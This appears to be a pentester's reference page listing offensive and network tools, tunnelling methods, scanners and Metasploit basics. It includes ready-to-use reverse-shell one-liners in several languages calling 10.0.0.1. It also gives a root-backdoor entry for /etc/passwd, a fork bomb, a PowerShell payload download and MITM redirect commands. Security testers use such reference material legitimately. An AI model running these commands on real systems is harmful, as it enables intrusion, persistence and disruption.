

tools

Content

- [Content](#)
- [Other pentest lists](#)
- [Command-line linux/windows cheats](#)
 - [Linux commands / steroids](#)
 - [Windows commands / steroids](#)
 - [Tunneling/pivoting](#)
- [Offensive](#)
 - [Security scanners](#)
 - [Collaboration systems](#)
 - [Network](#)
 - [Network scanners](#)

- [wireless \(SIM, RFID, Radio\)](#)
- [other tools](#)
- [Privilege Escalation / PostExploitation \(Linux / Windows\)](#)
 - [Antivirus bypass](#)
 - [exploit databases](#)
 - [Linux privilege escalation](#)
 - [postexploitation / backdoors / RAT](#)
 - [concealment](#)
- [APT - Advanced Persistent Thread](#)
- [BruteForce](#)
- [Categorical/Concrete/Narrow tools/attacks](#)
- [Hardware](#)
- [Forensic \(images, raw data, broken data\) \(more about ctf, rather than real incident response\)](#)
 - [awesomeness](#)
 - [file type conversions, obfuscation/deobfuscation](#)
 - [tools for analyzing, reverse engineering, and extracting images/files](#)
 - [ctf forensics / steganography / cryptography](#)

- [Configuration analysis](#)

Other pentest lists

Tools lists

- [en.kali.tools](#) - all kali tools
- [blackarch.org/tools.html](#) - all blackarch tools
- [securityxploded](#) - contains lists of handy tools for linux/windows/recovery/network/anti-spyware/security
- [sectools.org](#) - top 125 network security tools
- [lcamtuf.coredump.cx](#)
- [\(RU\) Cisco tools](#)

pentest tool collections to be remastered

- [jivoi/pentest](#) - awesome repo with pentest utils and pentest notes
- [Powerful Plugins](#) - list of plugins for burp, firefox, IDA, Immunity Dbg, OSINT, OllyDbg, ThreatIntel, volatility
- [pentest-bookmarks BookmarksList.wiki](#)
- [0daysecurity.com pentest](#)
- [Влад Росков \(Kaspersky\)](#) (russian) - collection of tools for web, crypto, stegano, forensic, reverse, network, recon



- [Manisso/fsociety](#)

- [phenoelit lands of packets](#)
- [jedge.com Information Security](#)
- [pentest scripts](#)
- [51x guy's repository](#) has many wonderfull things

- *[pentestmonkey's misc](#)*

- [r3dw4x/Cheatsheets](#)
- [skullsecurity.org](#) - list of commands for various OS'es
- [commandlinefu.com](#) - list of console's cheats

- [McAfee tools](#)

CTF orientation:

- [eugenekolo/sec-tools](#)
- [apsdehal/awesome-ctf](#)

- [ItSecWiki \(RU\)](#) (russian) - wiki-шпаргалка для использования во время CTF соревнований

Tools under android

- [NetHunter](#) - Kali-linux for Android
- [SuperSU](#)
- [Hijacker](#) - GUI for wifi pentest tools: Aircrack-ng, Airodump-ng, MDK3 and Reaver (requirements: suitable wifi-chipset and rooted device) ([article](#) about Hijacker)
- [WiFiAnalyzer](#)

Command-line linux/windows cheats

- Cross-encodings: [luit](#) - a filter that can be run between an arbitrary application and a UTF-8 terminal emulator. It will convert application output from the locale's encoding into UTF-8, and convert terminal input from UTF-8 into the locale's encoding.
- Execute a `system` [command](#) in a lot of various languages.

- **netcat** reverse shell: remote: `nc -e /bin/bash 10.0.0.1 1337` , local: `nc -nvlp 12344`
- **socat** bind shell: remote: `socat TCP-LISTEN:12344,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane` , local: `socat FILE:`tty`,raw,echo=0 TCP:10.0.0.1:12344`
- **socat** reverse shell: remote: `socat TCP4:10.0.0.1:12344 EXEC:bash,pty,stderr,setsid,sigint,sane` , local: `socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0`
- **bash**: remote: `bash -i >& /dev/tcp/10.0.0.1/12344 0>&1` , local: `nc -nvlp 12344`
remote: `exec /bin/bash 0&0 2>&0`
remote: `0<&196;exec 196<>/dev/tcp/10.0.0.1/12344; sh <&196 >&196 2>&196`
- **perl**: remote: `perl -e 'use Socket;$i="10.0.0.1";$p=12344;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` (depends on `/bin/sh`), local: `nc -nvlp 12344`
remote: `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:12344");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'`
remote: `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:12344");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'` (windows only)
- **python**: remote: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",12344));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` , local: `nc -nvlp 12344`
- **php**: remote: `php -r '$sock=fsockopen("10.0.0.1",12344);exec("/bin/sh -i <&3 >&3 2>&3");'` , local: `nc -nvlp 12344`
(assumption: tcp connection uses descriptor 3, if not, try 4,5,6...)

```
ruby -rsocket -e "c=TCPSocket.new( '10.0.0.1' , 12344 );while(cmd=c.gets);IO.popen(cmd, 'r'){|io|c.print
io.read}end" (windows only)
```

- **java:** remote: `r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/12344;cat <&5 | while read line; do \"$line 2>&5 >&5; done\""] as String[]); p.waitFor();`, local: `nc -nvlp 12344`
- **xterm:** remote: `xterm -display 10.0.0.1:1` (this will connect on port 6001), local: `xnest :1` (target must be authorized to connect to you: `xhost +targetip`)
- **gawk** look at [Snifer/security-cheatsheets reverse-shell](#)

Linux commands / steroids

- [commandlinefu.com](#) - a ton of fun and useful command-line commands
- [explainshell.com](#) - web-site with beautiful linux's MAN integration
- **grep** - `grep ./ -r -A 3 -B 3 -aniPe "search-string"` - also print neighbour lines
`grep ./ -r -aoiPe "search-string" - -o` look up binary files too
`-i` - ignore case

```
rm /tmp/q;mkfifo /tmp/q;cat /tmp/q|/bin/sh -l 2>&1|nc -l -p 12344 >/tmp/q + nc localhost 12344 - shell through netcat
```

```
nc -zv example.com 1-1000 - scan ports
```

- *Spawning a TTY shell (patching shell after exploit)*, this command will “upgrade your miserable os-commanding into regular semi-interactive shell”:

- `python -c 'import pty; pty.spawn("/bin/bash")'`, `/bin/bash -i`, `perl -e 'exec "/bin/sh";'`
- `perl: exec "/bin/sh";`, `ruby: exec "/bin/sh"`, `lua: os.execute('/bin/sh')`
- `irb: exec "/bin/sh"`, `vi: :!bash`, `vi: :set shell=/bin/bash:shell`, `nmap: !sh`
- thanks for samples to [this article](#)

- **Add user**, by adding it into `/etc/passwd` :

```
openssl passwd -1 -> $1$P31HlF1S$uIgLxnmiwjuC2.iaP8xvJ/ (password: test) (more and more, ...) (generation with salt:
```

```
openssl passwd -1 -salt my_salt my_pass )
```

```
echo "username:$1$P31HlF1S$uIgLxnmiwjuC2.iaP8xvJ/:0:0:comment:/root:/bin/bash" >>/etc/passwd
```

```
empty password: echo "u:$1$$qRPK7m23GJusamGpoGLby/:0:0:::/bin/sh" >> /etc/passwd
```

- **proxchains** - `echo "socks4 127.0.0.1 8080" >>/etc/proxychains.conf` `proxychains firefox`

alternative: **tsocks** - `/etc/tsocks.conf`

[proxifier](#) - proxychains for windows

- **iptables** list rules: `iptables -L -v -n --line-numbers # show all rules` (`-t` tables: nat, filter, mangle, raw, security) ([man iptables \(ru\)](#) - великолепная статья про iptables)

- **openssl**

Simple linux commands:

- `w`, `who`, `last`, `lastb`, `lastlog`
- `pwgen -ABsN 1 32` - password generator
- `python -m SimpleHTTPServer 8080` / `python3 -m http.server 8080` - host current directory (simple web-server) (Other approaches: ([@Quick Web Servers](#) (ruby, openssl, stunnel)))
 - `ruby -run -e httpd -- -p 8080 .`
 - `openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout mycert.pem -out mycert.pem` (generate certs), `openssl s_server -cert mycert.pem -accept 443 -WWW`
 - `stunnel -d 443 -r 8080` - encapsulate HTTP into HTTPS and host it at 443 port
- `echo "test" | at midnight` - run command at specified time
- `man ascii`
- `Alt + F1 F2 ...` - changes terminals in *linux* console (`F7` - is *usually* System X)
- `xxd` - convert text to its hex, `xxd -r -p` - convert hex into text
- about keyboard layout: `setxkbmap -query`, `cat /etc/default/keyboard`
- **network:**
 - `mtr -t` - online traceroute
 - `host`, `dig +short`, `dig ANY google.com`
 - `curl http://ipinfo.io/ip`, `curl http://icanhazip.com`, `curl http://checkip.dyndns.org`, `curl ifconfig.me`, `curl http://myip.ru/index_small.php` - get your public ip-address

- `ip addr add 10.0.0.3/24 dev eth0`

- `hping3` , `nping`

- `ngrep` (`apt-get install ngrep`) - [ngrep примеры использования](#)

- **formatting:**

- `stty -a` - get current size of your terminal, `stty rows 120 cols 200` - set custom size of your terminal

- `mount | column -t` - column command gives good formatting

- `... | less` - helps to view long files/output on not-scrolling terminal

- `cat apache.log | tail -f`

- **system management:**

- `inxi -Fxz`

- `ps aux` , `ps axjf` , `ps -au phonexicum` , `ps aux --sort pmem`

- `df -hT` , `du -hd 1` , `fdisk -l` , `free -h`

- ***ulimit*** - get and set user limits in linux

- ***netstat, htop, top, dstat, free, vmstat, ncd, iftop, hethogs***

- ***lsblk, lscpu, lshw, lsus, lspci, lsusb***

- `lsof -nPi` - list opened files - very flexible utility, can be used for network analysis

- [SEToolkit \(v3.5.1 - 2013\)](#) - a collection of scripts for performance analysis and gives advice on performance improvement (it has been a standard in system performance monitoring for the Solaris platform over the last 10 years)

- ***vbindiff*** - hexadecimal file display and comparison
- ***iconv/uconv*** – convert between encodings
- ***dos2unix*** (any combination of `dos` , `unix` , `mac`) – DOS/Mac to Unix and vice versa text file format converter

- **environment:**

- `$IFS`
- `$USER` `$PATH` `$PAGES`
- `$LD_LIBRARY_PATH` `$LD_PRELOAD`

- **Bash(zsh)-playing**

- `reset` - restore your terminal to default state after breaking it with binary/raw data
- `Ctrl+u` - save currently gathered command, `Ctrl+y` - restore previously saved command
- `Ctrl+x Ctrl+e` - runs vim to create complex command for future execution
- `sudo !!` - rerun previous command with sudo (or any other command)
- `^foo^bar` - run previous command with replacement
- `command` - command starting with *space* will be executed, but not stored in history
- `(cd /tmp && ls)` - execute command and custom directory, and return to previous directory

[tmux and screen cheatsheet](#)

[tmux and screen cheatsheet](#)

- **vim** + [amix/vimrc](#) + (matter of taste: [tombh/novim-mode](#) + [reedes/vim-pencil](#))
- **bash** + [fnichol/bashrc](#)
- **nano** + [scopatz/nanorc](#)

- `mount -t btrfs /dev/sdb2 -o rw /media/ctf-dumps (apt-get instal btrfs-tools)`
- `rdesktop 10.0.0.1 -u "phonexicum" -p "MyPass" -r disk:share=/home/phonexicum/Desktop/share -r clipboard:PRIMARYCLIPBOARD -g -g 1900x900`
rdesktop alternative: **remmina**
- `cp /usr/share/applications/guake.desktop /etc/xdg/autostart/` - linux autostart guake
- Connect to wifi
[wpa_supplicant/auto/manual](#)
- `wget -mk http://www.example.com/` - can be used for site mirroring
- regexp [using Look-ahead and Look-behind](#)

Manage linux user/login/... :

- `chsh -s /bin/zsh phonexicum`
- `useradd phonexicum -m -s '/bin/bash' -G sudo,pentest_group` - add new user
- `usermod -a -G phonexicum hacker_group` - add user to group
- `groups username` - get user's groups

- `du -xS / | sort -n | tail -20` - search 20 most big directories in fs
- `dd if=/dev/dsp | ssh -c arcfour -C phonexicum@10.0.0.2 dd of=/dev/dsp` - move audio from your machine to remote
or `arecord -f dat | ssh -C phonexicum@10.0.0.2 aplay -f dat`
- `curl -u phonexicum:MyPassword -d status="Tweeting from the shell" https://twitter.com/statuses/update.xml` - making a tweet from console

Other tools:

- **pgpdump** – a PGP packet visualizer
- [sysdig](#) – system-level exploration: capture system state and activity from a running Linux instance, then save, filter and analyze (looks like rootkit)

some fun

- fork-bomb, bash: `:(){ :|: & };;:`
- [zip-bomb \(wikipedia\)](#)

Windows commands / steroids

- **Monitor system / executables / processes / ...**

- [SysInternals Suite](#) - [docs](#) – sysinternals troubleshooting utilities
- [x64tools](#) - [docs](#) – small collection of utils for x64 windows
- [Process Hacker](#) - helps to monitor system resources, debug software and detect malware
- [NirSoft](#) - contains lots of utilities for windows monitoring and forensics
- [api-monitor-v2r13-x86-x64](#) – lets you monitor and control API calls made by applications and services

- **repair/restore**

- [MSDaRT](#) - microsoft diagnostic and recovery toolset
- [Hiren's Boot CD](#) (9 Nov 2012)
- [AntiSMS](#)

- `powershell -nop -c "(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.108/r.exe', 'C:\Users\Bethany\Links\r.exe')"` - netcat analogue

- [FakeNet](#) - windows network simulation tool. It redirects all traffic leaving a machine to the localhost

- **powershell** (`get-method` , `get-help`). Steroids:

- [PowerTab](#) - extension of the PowerShell tab expansion feature
- [PowerShellArsenal](#) - module can be used to disassemble managed and unmanaged code, perform .NET malware analysis, analyze/scrape memory, parse file formats and memory structures, obtain internal system information, etc

Tunneling/pivoting

[A Red Teamer's guide to pivoting](#) - very good article on pivoting

Configure proxychains DNS resolve. Proxychains DNS server is hardcoded into `/usr/lib/proxychains3/proxyresolv`. Change 4.2.2.2 into custom DNS server (e.g. domain controller).

port forwarding

Problem of port forwarding: it does NOT work for UDP traffic.

- **SSH** port forwarding (pivoting) (`AllowTcpForwarding yes` and `GatewayPorts yes` required (default behaviour))

[autossh](#) - automatically restarts SSH tunnels (and sessions)

```
autossh -M 0 -o "ServerAliveInterval 10" -o "ServerAliveCountMax 3" -L 12344:remote.com:80
```

```
phonexicum@192.168.x.y
```

- Local port forwarding: `ssh -L 12344:remote.com:80 phonexicum@192.168.x.y` - connection to localhost:9000 will be forwarded to remote.com:80 (`ssh -L 0.0.0.0:12344:remote.com:80 phonexicum@192.168.x.y`)
`~/.ssh/config` : `LocalForward 127.0.0.1:12344 remote.com:80`
- Remote port forwarding: `ssh -R 12344:remote.com:80 phonexicum@192.168.x.y` - connection on 192.168.x.y:12344 will be forwarded to remote.com:80 (`ssh -R 0.0.0.0:12344:remote.com:80 phonexicum@192.168.x.y`)

```
~/.ssh/config : DynamicForward 127.0.0.1:8080
```

- o VPN over SSH (L3 level) (`PermitRootLogin yes` and `PermitTunnel yes` at server-side required)

```
ssh phonexicum@192.168.x.y -w any:any
```

```
enable ip-forwarding at server ( echo 1 > /proc/sys/net/ipv4/ip_forward , iptables -t nat -A POSTROUTING -s 10.1.1.2 -o eth0 -j MASQUERADE )
```

```
configure PPP: client: ip addr add 10.1.1.2/32 peer 10.1.1.1 dev tun0 , server: ip addr add 10.1.1.1/32 peer 10.1.1.2 dev tun0
```

```
add your custom routes: ip route add 10.x.y.z/24 dev tun0
```

For better stability add to `ssh_config` : `TCPKeepAlive yes` , `ServerAliveInterval 300` , `ServerAliveCountMax 3`

- **SSH** commanding:

- o `Enter` + `~` + `?` - help
- o `Enter` + `~` + `#` - list of all forwarded connections
- o `Enter` + `~` + `C` - internal ssh shell for add/remove forwarding
- o `Enter` + `~` + `.` - terminate current ssh session

SSH gui forwarding: `ssh -X phonexicum@192.168.x.y` (`-Y` - less secure, but faster) (`X11Forwarding yes` required)

Skip certificate check: `ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no phonexicum@192.168.x.y`

- **Metasploit pivoting** ((*RU*) *metasploit тунелирование*):

In meterpreter: `run autoroute -s 10.1.2.0/24` - now metasploit modules can reach `10.1.2.0/24` subnetwork through established meterpreter session

port forwarding ++

- [sshuttle](#) - forwards the whole subnetwork (works using iptables)

```
sshuttle -r user@9.1.2.3 10.1.2.0/24
```

socks-proxy:

- [gost](#) - [releases](#) - GO Simple Tunnel - a simple tunnel written in golang <- *it looks VERY stable* and portable
[Wiki](#)

```
./gost -L socks4a://:1080
```

- [reGeorg](#) - SOCKS proxy

server side - load it like it is a webshell

client side - `python reGeorgSocksProxy.py -u http://9.1.2.3/socks.php`

- [reDuh](#) - create a TCP circuit through validly formed HTTP requests

- [rpivot](#)

at server: `python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080` - listen for client agents on port 9999

at client: `python client.py --server-ip 10.0.0.2 --server-port 9999` - start socks4 proxy on 127.0.0.1:1080

using ntlm rpivot can connect to corporate proxies with password or ntlm-hash

- [cntlm](#) - allows to transparently forward port through proxy for proxy unaware programs
- OpenVPN supports proxy though TCP connections (it also supports ntlm authentication)

- **ICMP** tunnel

- [hans](#) (creates tun device + exists for windows)
- [ptunnel](#) - tunneling TCP into ICMP

```
# Server:
sudo ptunnel -x PASSWORD

# Client:
sudo ptunnel -p server.white.ip-addr.com -lp 80 -da myip.ru -dp 80 -x PASSWORD

# Client, set up with proxychains:
sudo ptunnel -p server.white.ip-addr.com -lp 12344 -da your.ssh.server.com -dp 22 -x PASSWORD
sudo ssh -f -N -D 12345 phonexicum@localhost -p 12344
sudo bash -c "echo 'socks4 127.0.0.1 12345' >>/etc/proxychains.conf"
proxychains firefox &
```

- [udp2raw](#) - tunnelling UDP in **TCP/ICMP**
- [icmptunnel](#) - creates tap device (does not exist for windows)

- **DNS** tunnel [iodine](#)

[dnscat2](#), [dnscat2-powershell](#) - designed for “command and control” ([usage example \(RU\)](#)), [PowerDNS](#) - transfer powershell script through dns)

- **SSH tunnel** [VPN туннель средствами ssh VPN over OpenSSH](#) (or (RU)[VPN через SSH](#)) (`PermitTunnel yes` required)

Security scanners

There is much-much more scanners exists in the world (good and ...)

- Vulnerability scanners:
 - [Seccubus](#) - automates vulnerability scanning with: Nessus, OpenVAS, NMap, SSLyze, Medusa, SkipFish, OWASP ZAP and SSLlabs
IVIL - Intermediate Vulnerability Information Language
 - [Nessus \(tenable\)](#) (*Nessus Home - scan 16 IPs for 1 week*) (*holds about 20% of market ?*)
 - [nexpose](#) (*has community edition*)
 - [OpenVAS \(FREE\)](#) (scanner is not really good, because it is opensource), however lots of other scanners started using its engine
 - [XSpider](#) - network scanner
 - [Qualys FreeScan \(FREE???\)](#)
 - [MaxPatrol](#) - price is incredible (because this is not just a scanner, but a huge framework)
 - [Sn1per \(github\)](#) (*FREE*) - an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities
 - [Nipper Studio](#) - network security scanner
 - [AppDetective Pro](#) - database vulnerability assessment
 - *CloudPiercer - cloud-based security provider*

- [HP WebInspect](#)
- [IBM security AppScan](#) (*very expensive*)
- [Nikto2](#) web-server scanner ([nikto \(github\)](#)) (*FREE* scanner) (can effectively search for hidden functionality on website)
[Wikto](#) - nikto for Windows with some extra features.

```
nikto -host http://10.0.0.1/ - light scan
```

```
nikto -C all -dbcheck -host http://10.0.0.1/ - thorough scan
```
- [use wmap](#) - metasploit's web scanner, [use auxiliary/scanner/http/crawler](#) - metasploit's web crawler
- [BurpSuite](#) - very good web-proxy with some scanning capabilities in PRO version (*FREE* + PRO). Good extensions:
be carefull with cracked versions: e.g. [Malware Reversing - Burpsuite Keygen](#)
[HUNT](#) - extension + methodology
some of burpsuite's extensions:
- [OWASP ZAP proxy](#) - (good in automatization) (previously: websockets was better in comparison to burpsuite's) - good to be chained with burpsuite.
- [w3af](#) (opensource) - web-application attack and audit framework
- [retire.js](#) (exists as commandline, chrome/firefox/burp/owasp-zap extensions) - check for the components (on web-site) with known vulnerabilities (vulnerability scanner)
- [detectify](#) - a website vulnerability scanner (*PAID*)
- [v3n0m-Scanner/V3n0M-Scanner](#) - popular pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other vulns
- [skipfish](#) - crawler + analyzer (generates a lot of traffic)
- [OWASP Mantra Security Framework](#) - a web application security testing framework built on top of a browser.
- [dirsearch](#), [crawlbox](#), [Dirbuster](#), ... (*FREE*)

SOME MORE

CMS scanners:

- [CMSmap](#) - open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs
- [CMS-Hunter](#) - CMS vulnerability test case collection
- [wpscan](#) - WordPress scanner

```
wpscan --no-banner -t 20 --url http://10.0.0.1/ -basic
```

```
wpscan --no-banner -t 20 --url http://10.0.0.1/ -e upt -light, but qualitative scan
```

```
wpscan --no-banner -t 20 --url http://10.0.0.1/ -e 'u[1-100],ap,at,tt' --log output.txt -thorough scan
```

enumerate users: `wpscan --no-banner -t 20 --url http://10.0.0.1/ -e 'u[1-100]'`

brute passwords: `wpscan --no-banner -t 50 --url http://10.0.0.1/ -U admin -w rockyou.txt`

- [droopescan](#) - Drupal, SilverStripe, wordpress
- [DrupalScan](#) - Drupal scanner
- [joomscan](#) - Joomla scanner
- [google's Cloud Security Scanner](#) - automatically scans App Engine apps for common vulnerabilities

- ERP (Enterprise Resource Planning) scanners:

- [Onapsis](#)
- [ERPScan](#)

- Other scanners:

- **SNMP**: *braa* (mass snmp scanner), **onesixtyone**, *snmpwalk*, *snmp-check* (kali-tools), ... (look *snmp* paragraph)
- **VPN**: [The IKE scanner](#) - discover and fingerprint IKE hosts (IPsec VPN Servers)
- Solaris's (maybe unix-compatible) services: **ftp** (port 21): [ftp-user-enum](#), **ident** (port 113): [ident-user-enum](#), **finger** (port 79): [finger-user-enum](#)

- IoT:

- [IoTSeeker](#) - detect and check factory-default credentials

```
perl iotScanner.pl 1.1.1.1-1.1.4.254,2.1.1.1-2.2.3.254
```

Collaboration systems

[Системы обработки данных при проведении тестирования на проникновение \(RU\)](#)

- [lair framework](#) - looks really good with all core features, the project is not really mature, and there is some drawbacks, however they are not significant. The bad is: project does not look like been maintained now ([introducing lair](#))
- [ArachniScanner](#) - collaboration tool for various web-application security scans
- [FaradaySEC](#) ([faraday \(github\)](#)) - not really user-friendly, some core features is not supported, talking to developers are useless, their answers looks like evil mockery, anyway this looks like the most mature solution on the market today (faraday can import lots of

Google-docs analogue:

- [trello](#)
- [onlyoffice](#) - looks almost like google-docs, but with storing information at your own server (better install it from docker hub) (comparing to google has only one single drawback: there is no feature of TOC (Table of contence) autoconstruction and handy TOC navigation)
- [etherpad](#) - lightweight, like online notepad for your team, handy 'color' feature
- [Code Dx](#) - collaboration tool for vulnerabilities, targeted at analysation with source codes. Not for pentersters, but very good for infosec specialists at company, who analyze their own software and deliver vulnerability findings to developer using integration with JIRA.
- [Checkmarx](#) - code analysis with ability to be intergrated into SDLC.
- [KeepNote](#) - crossplatform and handy to save your own notes (single user by design) can save screenshots, plugins can import data from nmap's XML format, ...

Network

Well known ports: [Ports info \(speedguide\)](#), [wikipedia](#)

[ip netmasks cheatsheet](#)

Network scanners

Metasploit can store everything it finds into its database: *db_nmap*, *hosts*, *services*, *creds*, *loot*. (`workspace myWorkspace`)

- **arp-protocol scan** (discover hosts):

arp scanning will discover not only hosts in current network, but also other machine's interfaces which belongs to other's networks, because most OS will answer to arp request on all their interfaces

- [arp-scan](#) - scan existing hosts using arp-scan

```
arp-scan -l -I eth0
arp-scan --interface=eth0 192.168.0.0/24 | grep 192.168.0.2
arp-scan --localnet
```

- [netdiscover](#) - discover hosts using arp-requests

can be *passive* (`netdiscover -c 2 -p -P -i eth0`) (only listens to broadcast arps) or *active*. Netdiscover guesses hardware by mac-address (nmap too).

active: `netdiscover -c 2 -P -i eth0 -r 10.0.2.0/24`

- **arping** - `arping -c 1 -R/r 10.0.0.2` (can not scan subnet, write script for this purpose)

[nmap cheatsheet](#)

[pentest-wiki, ports](#)

[nmap cheatsheet](#) ([nmap book](#), [nmap mindmap](#))

[network IDS/IPS bypass](#)

- [powershell - built-in port scanner \(pentest poster\) \(SANS\)](#)
- **hping3** is very powerful
syn scan - `hping3 --flood -S 10.0.0.2 -p ++80 -c 5`
send custom packets: `hping3> while {1} { hping send "ip(saddr=10.1.2.3,daddr=10.0.0.2)+tcp(sport=4231,dport=80,flags=s)" }` (TCL lang)
- Ping-scan using command-line tools:
windows: `FOR /L %i IN (1,1,254) DO ping -n 1 10.0.0.%i | FIND /i "Reply" >>C:\temp\ipaddresses.txt`
linux: `for i in {1..254}; do ping -c 1 10.0.0.$i | grep 'from'; done`
- [sparta](#) - scan network and launch some automated scans against targets (e.g. nikto) + “any tool that can be run from a terminal” against specific host/service
- [zmap](#) - utility to multithreaded scan of internet’s fixed port.
[ZMap Project \(zmap.io\)](#) - a lot of tools for internet manipulating/scanning (the ZMap Project is a collection of open source tools that enable researchers to perform large-scale studies of the hosts and services that compose the public Internet) (ZMap, ZGrab, ZDNS, ZTag, ZBrowse, ZCrypto, ZLint, ZIterate, ZBlacklist, ZSchema, ZCertificate, ZTee)
- [masscan](#) - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
- [sfan5/fi6s](#) - IPv6 port scanner
- [unicorn](#) ([kalilinuxtutorials.com](#)) - yet another utility for port-scanning (also looks multithreaded)

- using IPID amount of servers beside balancer can be found (e.g. `hping3 -C 10 -I 1 -p 80 -S beta.search.microsoft.com. :)`
`46 bytes from 207.46.197.115: flags=RA seq=4 ttl=56 id=18588 win=0 rtt=21.2 ms`
`46 bytes from 207.46.197.115: flags=SA seq=5 ttl=56 id=57741 win=16616 rtt=21.2 ms`
- detect firewall rules (by sending various packets and monitoring IPID changes)
- detect host's OS (different os generates IPID differently) (nmap does this)

network sniffing

- [wireshark](#) - traffic capture and analysis
- **tcpdump** - linux traffic sniffer
`tcpdump -i any -s 0 -w dump.pcap`
[tcpdump \(microolap\)](#) - tcpdump under windows
- [NetworkMiner](#) (windows) – network forensic analysis tool (NFAT)
- [Interceptor-ng](#) (windows)
- **hcidump** - reads raw HCI data coming from and going to a Bluetooth device
- *netool – automate frameworks like Nmap, Driftnet, Sslstrip, Metasploit and Ettercap MitM attacks*

- **hping3** – send (almost) *arbitrary* TCP/IP packets to network hosts (can be user for DoS purpose)
- **routersploit** - router exploitation framework
- **Honepot-like tools:**
 - **responder (kali)** - a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication
easy choice: `responder -I eth0 -fwv`
 - **yersinia** - network tool designed to take advantage of some weakness in different network protocols (cdp, dhcp, dot1q, dot1x, dtp, hsrp, isl, mpls, stp, vtp)
 - **CDPSnarf (kali)** - listens for broadcast CDP packets
- **ciscot7** - Cisco Type 7 Password Decrypter
(type 0 - plaintext, 7 - use ciscot7 (vigenere?), 5 - md5, 4 - sha256)
- *ip-tools - collection of utilities to work with network under windows*
- **Vladimir-Ivanov-Git/raw-packet** - DHCP attacking tool (IP pool starvation, rogue DHCP server, detect and attack apple devices (change their ip-addresses, default gateway, DNS), CVE-2017-14493 and CVE-2017-14494.)

- [dns-mitm](#) - a fake DNS server that answers requests for a domain's A record with a custom IP address

hacker-friendly tool for MITM:

- [bettercap](#) - powerful tool created to perform various types of MITM attacks against a network ([ssl stripping and hsts bypass](#)), ([Инструкция по использованию Bettercap \(RU\)](#)), ...

```
bettercap -S ARP --full-duplex --proxy --proxy-https -T 10.0.0.2
```

- [interceptor-ng](#)

To make everything manually:

- **arpspoof**

SSL attacking:

- **sslstrip** - http->https redirection interception
 - using *arpspoof*
 - `echo 1 > /proc/sys/net/ipv4/ip_forward` - for packet transition
 - `iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1717` - for packets redirection on ssl-strip listening port
- **sslsplit** - transparent SSL/TLS interception
- **sslsniff** - ??

- [evilgrade](#) - a modular framework that allows the user to take advantage of poor upgrade implementations can be used in pair with metasploit, listening for backconnects by payloads loaded by evilgrade
- [mitmf](#) (includes integration with responder, BeEF, ...)
- other mitm tools: **intercepter-ng**
- **mitmproxy** - is a console tool that allows interactive examination and modification of HTTP traffic.
`mitmproxy -T --host --insecure - ???`
mitmdump - provides tcpdump-like functionality to let you view, record, and programmatically transform HTTP traffic.

SNMP (ports 161/udp, 162/udp)

check for snmp scanners section: [security scanners](#)

SNMP design: *SNMP agent* <-> *SNMP manager* <-> *MIB database*

Tools:

- **snmpwalk**

```
snmpwalk -c public -v1 10.0.0.2
```

```
snmpwalk -v 3 -l noAuthNoPriv -u admin 10.0.0.2
```

```
snmpwalk -v 3 -u admin -a MD5 -A password -l noAuthNoPriv 10.0.0.2 iso.3.6.1.2.1.1.1.0
```

SNMP spoofing: [nccgroup/cisco-snmp-slap](#) - bypass Cisco ACL (firewall) rules

wireless (SIM, RFID, Radio)

- [SIMTester](#) - sim-card tests for various vulnerabilities
- [Proxmark3](#) – a powerful general purpose RFID tool, the size of a deck of cards, designed to snoop, listen and emulate everything from Low Frequency (125kHz) to High Frequency (13.56MHz) tags
- [GNU Radio](#) - toolkit for software radio

other tools

- [ds_store](#) - Minimal parser for .DS_Store files in golang
- [lynxsmash](#) (Lync/Skype for business) - enumerate users via auth timing bug while brute forcing, lock accounts, locate lync installs
- [p0fv3](#) - tool that utilizes an array of sophisticated, purely passive traffic *fingerprinting* mechanisms to identify endpoints (OS)
- [PCredz](#) - This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

[Kamene](#) - network packet and pcap file crafting/shimming/manipulation/visualization security tool (scapy fork + python3 support)

- [Sparta](#) (network infrastructure penetration testing tool) - sparta controls other tools like nmap, hydra, nikto, etc. (simplify network penetration testing)

ACL/configuration analysis/monitor and more:

- [Cisco Prime](#)
- [algosec](#)

Privilege Escalation / PostExploitation (Linux / Windows)

- [pwnwiki.io](#) (**awesomeness**) ([github source](#)) - a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained (postexploitation, privilege escalation, etc.)
- [Metasploit](#)
GUI:
 - [armitage](#) - GUI steroids for metasploit (NOT maintained)
 - [cobaltstrike](#) - smth like gui for metasploit + some additional exploits[AggressorScripts](#) - collection of Aggressor scripts for Cobalt Strike 3.0+ pulled from multiple sources

msfpcd -U msf -P msfpass -i

```
msf> search [regexp] -regexp???
```

```
bash> service postgresql start
```

```
bash> msfdb init
```

```
bash> msfconsole
```

```
msf> db_status
```

```
